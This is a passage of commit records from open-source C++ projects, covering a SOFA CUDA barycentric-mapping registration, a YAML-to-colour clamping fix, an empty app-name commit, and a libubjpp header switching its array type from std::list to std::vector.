CUDA\")\n#ifndef SOFA_FLOAT\n#endif\n#ifndef SOFA_DOUBLE\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<CudaVec3fTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<Vec3fTypes>, MechanicalState<CudaVec3fTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<Vec3fTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<CudaVec3fTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<ExtVec3fTypes> > > >()\n\/\/ .add< BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<ExtVec3dTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<Vec3fTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<CudaVec3f1Types> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<CudaVec3fTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<CudaVec3f1Types> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<Vec3fTypes>, MechanicalState<CudaVec3f1Types> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<Vec3fTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<CudaVec3f1Types> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<CudaVec3fTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<CudaVec3f1Types> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<ExtVec3fTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<Vec3fTypes> > > >()\n#endif\n#ifndef SOFA_FLOAT\n#ifndef SOFA_DOUBLE\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<Vec3dTypes>, MechanicalState<CudaVec3fTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<Vec3dTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<Vec3dTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<Vec3dTypes>, MechanicalState<CudaVec3f1Types> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<Vec3dTypes> > > >()\n\/\/ .add< BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<ExtVec3dTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<Vec3dTypes> > > >()\n#endif\n#endif\n\n\n\/\/ #ifdef SOFA_GPU_CUDA_DOUBLE\n\/\/ .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<CudaVec3dTypes> > > >()\n\/\/ .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3dTypes>, MechanicalState<CudaVec3fTypes> > > >()\n\/\/ .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3dTypes>, MechanicalState<CudaVec3dTypes> > > >()\n\/\/ .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3dTypes>, MechanicalState<Vec3fTypes> > > >()\n\/\/ .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3dTypes>, MechanicalState<Vec3dTypes> > > >()\n\/\/ .add< BarycentricMapping< MechanicalMapping< MechanicalState<Vec3fTypes>, MechanicalState<CudaVec3dTypes> > > >()\n\/\/ .add< BarycentricMapping< MechanicalMapping< MechanicalState<Vec3dTypes>, MechanicalState<CudaVec3dTypes> > > >()\n\/\/\n\/\/ .add< BarycentricMapping< Mapping< State<CudaVec3d1Types>, MappedModel<ExtVec3fTypes> > > >()\n\/\/ .add< BarycentricMapping< Mapping< State<CudaVec3dTypes>, MappedModel<ExtVec3fTypes> > > >()\n\/\/ #endif\n        ;\n\n} \/\/ namespace cuda\n\n} \/\/ namespace gpu\n\n} \/\/ namespace sofa\n<commit_msg>r6716\/sofa-dev : Add cuda template for CudaBarycentricMapping<commit_after>\/******************************************************************************\n*       SOFA, Simulation Open-Framework Architecture, version 1.0 beta 4      *\n*                (c) 2006-2009 MGH, INRIA, USTL, UJF, CNRS                    *\n*                                                                             *\n* This library is free software; you can redistribute it and\/or modify it     *\n* under the terms of the GNU Lesser General Public License as published by    *\n* the Free Software Foundation; either version 2.1 of the License, or (at     *\n* your option) any later version.                                             *\n*                                                                             *\n* This library is distributed in the hope that it will be useful, but WITHOUT *\n* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or       *\n* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License *\n* for more details.                                                           *\n*                                                                             *\n* You should have received a copy of the GNU Lesser General Public License    *\n* along with this library; if not, write to the Free Software Foundation,     *\n* Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301 USA.          *\n*******************************************************************************\n*                               SOFA :: Modules                               *\n*                                                                             *\n* Authors: The SOFA Team and external contributors (see Authors.txt)          *\n*                                                                             *\n* Contact information: contact@sofa-framework.org                             *\n******************************************************************************\/\n#include \"CudaTypes.h\"\n#include \"CudaBarycentricMapping.inl\"\n\/\/#include <sofa\/component\/mapping\/BarycentricMapping.inl>\n#include <sofa\/core\/componentmodel\/behavior\/MappedModel.h>\n#include <sofa\/core\/ObjectFactory.h>\n#include <sofa\/defaulttype\/VecTypes.h>\n\nnamespace sofa\n{\n\nnamespace component\n{\n\nnamespace mapping\n{\n\nusing namespace sofa::defaulttype;\nusing namespace sofa::core;\nusing namespace sofa::core::componentmodel::behavior;\nusing namespace sofa::gpu::cuda;\n#ifndef SOFA_FLOAT\n#endif\n#ifndef SOFA_DOUBLE\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<CudaVec3fTypes> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<Vec3fTypes>, MechanicalState<CudaVec3fTypes> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<Vec3fTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<CudaVec3fTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<ExtVec3fTypes> > >;\n\/\/ template class BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<ExtVec3dTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<Vec3fTypes> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<CudaVec3f1Types> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<CudaVec3fTypes> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<CudaVec3f1Types> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<Vec3fTypes>, MechanicalState<CudaVec3f1Types> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<Vec3fTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<CudaVec3f1Types> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<CudaVec3fTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<CudaVec3f1Types> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<ExtVec3fTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<Vec3fTypes> > >;\n#endif\n#ifndef SOFA_FLOAT\n#ifndef SOFA_DOUBLE\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<Vec3dTypes>, MechanicalState<CudaVec3fTypes> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<Vec3dTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<Vec3dTypes> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<Vec3dTypes>, MechanicalState<CudaVec3f1Types> > >;\ntemplate class BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<Vec3dTypes> > >;\n\/\/ template class BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<ExtVec3dTypes> > >;\ntemplate class BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<Vec3dTypes> > >;\n#endif\n#endif\n}\n}\n\nnamespace gpu\n{\n\nnamespace cuda\n{\nusing namespace sofa::defaulttype;\nusing namespace sofa::core;\nusing namespace sofa::core::componentmodel::behavior;\nusing namespace sofa::component::mapping;\n\nSOFA_DECL_CLASS(CudaBarycentricMapping)\n\nint BarycentricMappingCudaClass = core::RegisterObject(\"Supports GPU-side computations using CUDA\")\n#ifndef SOFA_FLOAT\n#endif\n#ifndef SOFA_DOUBLE\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<CudaVec3fTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<Vec3fTypes>, MechanicalState<CudaVec3fTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<Vec3fTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<CudaVec3fTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<ExtVec3fTypes> > > >()\n\/\/ .add< BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<ExtVec3dTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<Vec3fTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<CudaVec3f1Types> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<CudaVec3fTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<CudaVec3f1Types> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<Vec3fTypes>, MechanicalState<CudaVec3f1Types> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<Vec3fTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<CudaVec3f1Types> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<CudaVec3fTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<CudaVec3f1Types> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<ExtVec3fTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<Vec3fTypes> > > >()\n#endif\n#ifndef SOFA_FLOAT\n#ifndef SOFA_DOUBLE\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<Vec3dTypes>, MechanicalState<CudaVec3fTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<Vec3dTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3fTypes>, MappedModel<Vec3dTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<Vec3dTypes>, MechanicalState<CudaVec3f1Types> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3f1Types>, MechanicalState<Vec3dTypes> > > >()\n\/\/ .add< BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<ExtVec3dTypes> > > >()\n        .add< BarycentricMapping< Mapping< State<CudaVec3f1Types>, MappedModel<Vec3dTypes> > > >()\n#endif\n#endif\n\n\n#ifdef SOFA_GPU_CUDA_DOUBLE\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3fTypes>, MechanicalState<CudaVec3dTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3dTypes>, MechanicalState<CudaVec3fTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3dTypes>, MechanicalState<CudaVec3dTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3dTypes>, MechanicalState<Vec3fTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<CudaVec3dTypes>, MechanicalState<Vec3dTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<Vec3fTypes>, MechanicalState<CudaVec3dTypes> > > >()\n        .add< BarycentricMapping< MechanicalMapping< MechanicalState<Vec3dTypes>, MechanicalState<CudaVec3dTypes> > > >()\n\/\/.add< BarycentricMapping< Mapping< State<CudaVec3d1Types>, MappedModel<ExtVec3fTypes> > > >()\n\/\/.add< BarycentricMapping< Mapping< State<CudaVec3dTypes>, MappedModel<ExtVec3fTypes> > > >()\n#endif\n        ;\n\n} \/\/ namespace cuda\n\n} \/\/ namespace gpu\n\n} \/\/ namespace sofa\n<|endoftext|>"}
{"text":"<commit_before>#include <utilities.hpp>\n\nstd::string colorToString(const sf::Color& color) {\n    std::stringstream ret;\n    ret << \"(\"\n        << static_cast<uint32_t>(color.r) << \", \"\n        << static_cast<uint32_t>(color.g) << \", \"\n        << static_cast<uint32_t>(color.b) << \", \"\n        << static_cast<uint32_t>(color.a)\n        << \")\";\n    return ret.str();\n}\n\nstd::string vertexToString(const sf::Vertex& vertex) {\n    std::stringstream ret;\n    ret << \"(\" << vertex.position.x << \", \" << vertex.position.y << \")\";\n    return ret.str();\n}\n\nstd::string nodeTypeToString(const YAML::Node& node) {\n    switch (node.Type()) {\n        case YAML::NodeType::Null:\n            return \"Null\";\n        case YAML::NodeType::Scalar:\n            return \"Scalar\";\n        case YAML::NodeType::Sequence:\n            return \"Sequence\";\n        case YAML::NodeType::Map:\n            return \"Map\";\n        case YAML::NodeType::Undefined:\n        default:\n            return \"Undefined\";\n    }\n}\n\nsf::Color nodeToColor(const YAML::Node& node) {\n    auto r = node[0].as<uint32_t>(255);\n    auto g = node[1].as<uint32_t>(255);\n    auto b = node[2].as<uint32_t>(255);\n    auto a = node[3].as<uint32_t>(255);\n\n    return sf::Color(\n            static_cast<uint8_t>(r),\n            static_cast<uint8_t>(g),\n            static_cast<uint8_t>(b),\n            static_cast<uint8_t>(a)\n    );\n}\n\nsf::Vertex nodeToVertex(const YAML::Node& node, int size) {\n    auto x = node[0].as<float>() * size \/ 2;\n    auto y = node[1].as<float>() * size \/ 2;\n\n    return sf::Vertex(sf::Vector2f(x, y));\n}\n<commit_msg>Better handle bad data in entity color definitions. Also C++-ify the function.<commit_after>#include <utilities.hpp>\n\nstd::string colorToString(const sf::Color& color) {\n    std::stringstream ret;\n    ret << \"(\"\n        << static_cast<uint32_t>(color.r) << \", \"\n        << static_cast<uint32_t>(color.g) << \", \"\n        << static_cast<uint32_t>(color.b) << \", \"\n        << static_cast<uint32_t>(color.a)\n        << \")\";\n    return ret.str();\n}\n\nstd::string vertexToString(const sf::Vertex& vertex) {\n    std::stringstream ret;\n    ret << \"(\" << vertex.position.x << \", \" << vertex.position.y << \")\";\n    return ret.str();\n}\n\nstd::string nodeTypeToString(const YAML::Node& node) {\n    switch (node.Type()) {\n        case YAML::NodeType::Null:\n            return \"Null\";\n        case YAML::NodeType::Scalar:\n            return \"Scalar\";\n        case YAML::NodeType::Sequence:\n            return \"Sequence\";\n        case YAML::NodeType::Map:\n            return \"Map\";\n        case YAML::NodeType::Undefined:\n        default:\n            return \"Undefined\";\n    }\n}\n\nsf::Color nodeToColor(const YAML::Node& node) {\n    std::vector<uint8_t> color = {255, 255, 255, 255};\n\n    uint8_t i  = 0;\n    for (auto&& primary : color) {\n        auto newPrimary = node[i++].as<uint32_t>(255);\n        if (newPrimary > 255) {\n            newPrimary = 255;\n        }\n        primary = static_cast<uint8_t>(newPrimary);\n    }\n    return sf::Color(\n            color[0],\n            color[1],\n            color[2],\n            color[3]\n    );\n}\n\nsf::Vertex nodeToVertex(const YAML::Node& node, int size) {\n    auto x = node[0].as<float>() * size \/ 2;\n    auto y = node[1].as<float>() * size \/ 2;\n\n    return sf::Vertex(sf::Vector2f(x, y));\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Server: Set app name<commit_after><|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n\/\/#define BOOST_VARIANT_MINIMIZE_SIZE 1\n#include \"boost\/variant.hpp\"\n#include \"boost\/optional.hpp\"\n\n#include <map>\n#include <list>\n#include <string>\n\nnamespace libubjpp {\nclass value;\n\n\/**\n * Object type. Note std::map is preferred to std::unordered_map due to its\n * size: 24 bytes as opposed to 32 bytes, which makes each value object 32\n * bytes as opposed to 48 bytes.\n *\/\nusing object_type = std::map<std::string,value>;\n\n\/**\n * Array type.\n *\/\nusing array_type = std::list<value>;\n\n\/**\n * String type.\n *\/\nusing string_type = std::string;\n\n\/*\n * Floating point types.\n *\/\nusing float_type = float;\nusing double_type = double;\n\n\/*\n * Integer types.\n *\/\nusing int8_type = int8_t;\nusing uint8_type = uint8_t;\nusing int16_type = int16_t;\nusing int32_type = int32_t;\nusing int64_type = int64_t;\n\n\/**\n * Boolean type.\n *\/\nusing bool_type = bool;\n\n\/**\n * Nil type.\n *\/\nstruct nil_type {\n  \/\/\n};\n\n\/**\n * No-op type.\n *\/\nstruct noop_type {\n  \/\/\n};\n\n\/**\n * Variant value type.\n *\/\nusing value_type = boost::variant<object_type,array_type,string_type,\nfloat_type,double_type,int8_type,uint8_type,int16_type,int32_type,\nint64_type,bool_type,nil_type,noop_type>;\n\n\/**\n * Value.\n *\n * @ingroup libubjpp\n *\/\nclass value {\npublic:\n  \/**\n   * Default constructor. Creates a value of object type.\n   *\/\n  value();\n\n  \/**\n   * Constructor.\n   *\n   * @param T value type.\n   *\n   * @param value x.\n   *\/\n  template<class T>\n  value(const T& x) :\n      x(x) {\n    \/\/\n  }\n\n  \/**\n   * Get.\n   *\n   * @tparam T value type.\n   *\n   * @param path List of strings giving names of the items.\n   *\n   * @return An optional that will be empty if the value does not exist or\n   * is not of type @p T, otherwise it will contain the x.\n   *\/\n  template<class T>\n  boost::optional<T&> get(const std::initializer_list<std::string>& path) {\n    auto node = this;\n    for (auto name : path) {\n      if (node->x.type() == typeid(object_type)) {\n        auto& o = boost::get<object_type>(node->x);\n        auto iter = o.find(name);\n        if (iter != o.end()) {\n          node = &iter->second;\n        } else {\n          return boost::none;\n        }\n      } else {\n        return boost::none;\n      }\n    }\n    return node->get<T>();\n  }\n\n  \/**\n   * Get.\n   *\n   * @tparam T value type.\n   *\n   * @param path List of strings giving names of the items.\n   *\n   * @return An optional that will be empty if the value does not exist or\n   * is not of type @p T, otherwise it will contain the x.\n   *\/\n  template<class T>\n  boost::optional<const T&> get(\n      const std::initializer_list<std::string>& path) const {\n    auto node = this;\n    for (auto name : path) {\n      if (node->x.type() == typeid(object_type)) {\n        auto& o = boost::get<const object_type>(node->x);\n        auto iter = o.find(name);\n        if (iter != o.end()) {\n          node = &iter->second;\n        } else {\n          return boost::none;\n        }\n      } else {\n        return boost::none;\n      }\n    }\n    return node->get<T>();\n  }\n\n  \/**\n   * Get.\n   *\n   * @tparam T value type.\n   *\n   * @param name Name of the item.\n   *\n   * @return An optional that will be empty if the value does not exist or\n   * is not of type @p T, otherwise it will contain the x.\n   *\/\n  template<class T>\n  boost::optional<T&> get(const std::string& name) {\n    if (x.type() == typeid(object_type)) {\n      auto& o = boost::get<object_type&>(x);\n      auto iter = o.find(name);\n      if (iter != o.end()) {\n        return iter->second.get<T>();\n      }\n    }\n    return boost::none;\n  }\n\n  \/**\n   * Get.\n   *\n   * @tparam T value type.\n   *\n   * @param name Name of the item.\n   *\n   * @return An optional that will be empty if the value does not exist or\n   * is not of type @p T, otherwise it will contain the x.\n   *\/\n  template<class T>\n  boost::optional<const T&> get(const std::string& name) const {\n    if (x.type() == typeid(object_type)) {\n      auto& o = boost::get<const object_type&>(x);\n      auto iter = o.find(name);\n      if (iter != o.end()) {\n        return iter->second.get<T>();\n      }\n    }\n    return boost::none;\n  }\n\n  \/**\n   * Get.\n   *\n   * @tparam T value type.\n   *\n   * @return An optional that will be empty if the value does not exist or\n   * is not of type @p T, otherwise it will contain the x.\n   *\/\n  template<class T>\n  boost::optional<T&> get() {\n    if (x.type() == typeid(T)) {\n      return boost::get<T>(x);\n    } else {\n      return boost::none;\n    }\n  }\n\n  \/**\n   * Get.\n   *\n   * @tparam T value type.\n   *\n   * @return An optional that will be empty if the value does not exist or\n   * is not of type @p T, otherwise it will contain the x.\n   *\/\n  template<class T>\n  boost::optional<const T&> get() const {\n    if (x.type() == typeid(T)) {\n      return boost::get<const T>(x);\n    } else {\n      return boost::none;\n    }\n  }\n\n  \/**\n   * Get.\n   *\n   * @param path List of strings giving names of the items.\n   *\n   * @return An optional that will be empty if the value does not exist,\n   * otherwise it will contain the value of variant type.\n   *\/\n  boost::optional<value_type&> get(\n      const std::initializer_list<std::string>& path);\n\n  \/**\n   * Get.\n   *\n   * @param path List of strings giving names of the items.\n   *\n   * @return An optional that will be empty if the value does not exist,\n   * otherwise it will contain the value of variant type.\n   *\/\n  boost::optional<const value_type&> get(\n      const std::initializer_list<std::string>& path) const;\n\n  \/**\n   * Get.\n   *\n   * @param name Name of the item.\n   *\n   * @return An optional that will be empty if the value does not exist,\n   * otherwise it will contain the value of variant type.\n   *\/\n  boost::optional<value_type&> get(const std::string& name);\n\n  \/**\n   * Get.\n   *\n   * @param name Name of the item.\n   *\n   * @return An optional that will be empty if the value does not exist,\n   * otherwise it will contain the value of variant type.\n   *\/\n  boost::optional<const value_type&> get(const std::string& name) const;\n\n  \/**\n   * Get.\n   *\n   * @return The value, of variant type.\n   *\/\n  value_type& get() {\n    return x;\n  }\n\n  \/**\n   * Get.\n   *\n   * @return The value, of variant type.\n   *\/\n  const value_type& get() const {\n    return x;\n  }\n\n  \/**\n   * Set.\n   *\n   * @param path List of strings giving names of the items.\n   * @param x The value.\n   *\n   * @return The new item.\n   *\/\n  value& set(const std::initializer_list<std::string>& path,\n      const value_type& x);\n\n  \/**\n   * Set.\n   *\n   * @param name Name of the item.\n   * @param x The value.\n   *\n   * @param The new item.\n   *\/\n  value& set(const std::string& name, const value_type& x);\n\n  \/**\n   * Set.\n   *\n   * @param x The value.\n   *\n   * @param The new item.\n   *\/\n  value& set(const value_type& x);\n\nprivate:\n  \/**\n   * The value.\n   *\/\n  value_type x;\n};\n}\n<commit_msg>Array type is now std::vector not std::list, to facilitate random access required by fiber iterators in Birch standard library.<commit_after>#pragma once\n\n\/\/#define BOOST_VARIANT_MINIMIZE_SIZE 1\n#include \"boost\/variant.hpp\"\n#include \"boost\/optional.hpp\"\n\n#include <map>\n#include <list>\n#include <string>\n\nnamespace libubjpp {\nclass value;\n\n\/**\n * Object type. Note std::map is preferred to std::unordered_map due to its\n * size: 24 bytes as opposed to 32 bytes, which makes each value object 32\n * bytes as opposed to 48 bytes.\n *\/\nusing object_type = std::map<std::string,value>;\n\n\/**\n * Array type.\n *\/\nusing array_type = std::vector<value>;\n\n\/**\n * String type.\n *\/\nusing string_type = std::string;\n\n\/*\n * Floating point types.\n *\/\nusing float_type = float;\nusing double_type = double;\n\n\/*\n * Integer types.\n *\/\nusing int8_type = int8_t;\nusing uint8_type = uint8_t;\nusing int16_type = int16_t;\nusing int32_type = int32_t;\nusing int64_type = int64_t;\n\n\/**\n * Boolean type.\n *\/\nusing bool_type = bool;\n\n\/**\n * Nil type.\n *\/\nstruct nil_type {\n  \/\/\n};\n\n\/**\n * No-op type.\n *\/\nstruct noop_type {\n  \/\/\n};\n\n\/**\n * Variant value type.\n *\/\nusing value_type = boost::variant<object_type,array_type,string_type,\nfloat_type,double_type,int8_type,uint8_type,int16_type,int32_type,\nint64_type,bool_type,nil_type,noop_type>;\n\n\/**\n * Value.\n *\n * @ingroup libubjpp\n *\/\nclass value {\npublic:\n  \/**\n   * Default constructor. Creates a value of object type.\n   *\/\n  value();\n\n  \/**\n   * Constructor.\n   *\n   * @param T value type.\n   *\n   * @param value x.\n   *\/\n  template<class T>\n  value(const T& x) :\n      x(x) {\n    \/\/\n  }\n\n  \/**\n   * Get.\n   *\n   * @tparam T value type.\n   *\n   * @param path List of strings giving names of the items.\n   *\n   * @return An optional that will be empty if the value does not exist or\n   * is not of type @p T, otherwise it will contain the x.\n   *\/\n  template<class T>\n  boost::optional<T&> get(const std::initializer_list<std::string>& path) {\n    auto node = this;\n    for (auto name : path) {\n      if (node->x.type() == typeid(object_type)) {\n        auto& o = boost::get<object_type>(node->x);\n        auto iter = o.find(name);\n        if (iter != o.end()) {\n          node = &iter->second;\n        } else {\n          return boost::none;\n        }\n      } else {\n        return boost::none;\n      }\n    }\n    return node->get<T>();\n  }\n\n  \/**\n   * Get.\n   *\n   * @tparam T value type.\n   *\n   * @param path List of strings giving names of the items.\n   *\n   * @return An optional that will be empty if the value does not exist or\n   * is not of type @p T, otherwise it will contain the x.\n   *\/\n  template<class T>\n  boost::optional<const T&> get(\n      const std::initializer_list<std::string>& path) const {\n    auto node = this;\n    for (auto name : path) {\n      if (node->x.type() == typeid(object_type)) {\n        auto& o = boost::get<const object_type>(node->x);\n        auto iter = o.find(name);\n        if (iter != o.end()) {\n          node = &iter->second;\n        } else {\n          return boost::none;\n        }\n      } else {\n        return boost::none;\n      }\n    }\n    return node->get<T>();\n  }\n\n  \/**\n   * Get.\n   *\n   * @tparam T value type.\n   *\n   * @param name Name of the item.\n   *\n   * @return An optional that will be empty if the value does not exist or\n   * is not of type @p T, otherwise it will contain the x.\n   *\/\n  template<class T>\n  boost::optional<T&> get(const std::string& name) {\n    if (x.type() == typeid(object_type)) {\n      auto& o = boost::get<object_type&>(x);\n      auto iter = o.find(name);\n      if (iter != o.end()) {\n        return iter->second.get<T>();\n      }\n    }\n    return boost::none;\n  }\n\n  \/**\n   * Get.\n   *\n   * @tparam T value type.\n   *\n   * @param name Name of the item.\n   *\n   * @return An optional that will be empty if the value does not exist or\n   * is not of type @p T, otherwise it will contain the x.\n   *\/\n  template<class T>\n  boost::optional<const T&> get(const std::string& name) const {\n    if (x.type() == typeid(object_type)) {\n      auto& o = boost::get<const object_type&>(x);\n      auto iter = o.find(name);\n      if (iter != o.end()) {\n        return iter->second.get<T>();\n      }\n    }\n    return boost::none;\n  }\n\n  \/**\n   * Get.\n   *\n   * @tparam T value type.\n   *\n   * @return An optional that will be empty if the value does not exist or\n   * is not of type @p T, otherwise it will contain the x.\n   *\/\n  template<class T>\n  boost::optional<T&> get() {\n    if (x.type() == typeid(T)) {\n      return boost::get<T>(x);\n    } else {\n      return boost::none;\n    }\n  }\n\n  \/**\n   * Get.\n   *\n   * @tparam T value type.\n   *\n   * @return An optional that will be empty if the value does not exist or\n   * is not of type @p T, otherwise it will contain the x.\n   *\/\n  template<class T>\n  boost::optional<const T&> get() const {\n    if (x.type() == typeid(T)) {\n      return boost::get<const T>(x);\n    } else {\n      return boost::none;\n    }\n  }\n\n  \/**\n   * Get.\n   *\n   * @param path List of strings giving names of the items.\n   *\n   * @return An optional that will be empty if the value does not exist,\n   * otherwise it will contain the value of variant type.\n   *\/\n  boost::optional<value_type&> get(\n      const std::initializer_list<std::string>& path);\n\n  \/**\n   * Get.\n   *\n   * @param path List of strings giving names of the items.\n   *\n   * @return An optional that will be empty if the value does not exist,\n   * otherwise it will contain the value of variant type.\n   *\/\n  boost::optional<const value_type&> get(\n      const std::initializer_list<std::string>& path) const;\n\n  \/**\n   * Get.\n   *\n   * @param name Name of the item.\n   *\n   * @return An optional that will be empty if the value does not exist,\n   * otherwise it will contain the value of variant type.\n   *\/\n  boost::optional<value_type&> get(const std::string& name);\n\n  \/**\n   * Get.\n   *\n   * @param name Name of the item.\n   *\n   * @return An optional that will be empty if the value does not exist,\n   * otherwise it will contain the value of variant type.\n   *\/\n  boost::optional<const value_type&> get(const std::string& name) const;\n\n  \/**\n   * Get.\n   *\n   * @return The value, of variant type.\n   *\/\n  value_type& get() {\n    return x;\n  }\n\n  \/**\n   * Get.\n   *\n   * @return The value, of variant type.\n   *\/\n  const value_type& get() const {\n    return x;\n  }\n\n  \/**\n   * Set.\n   *\n   * @param path List of strings giving names of the items.\n   * @param x The value.\n   *\n   * @return The new item.\n   *\/\n  value& set(const std::initializer_list<std::string>& path,\n      const value_type& x);\n\n  \/**\n   * Set.\n   *\n   * @param name Name of the item.\n   * @param x The value.\n   *\n   * @param The new item.\n   *\/\n  value& set(const std::string& name, const value_type& x);\n\n  \/**\n   * Set.\n   *\n   * @param x The value.\n   *\n   * @param The new item.\n   *\/\n  value& set(const value_type& x);\n\nprivate:\n  \/**\n   * The value.\n   *\/\n  value_type x;\n};\n}\n<|endoftext|>"}
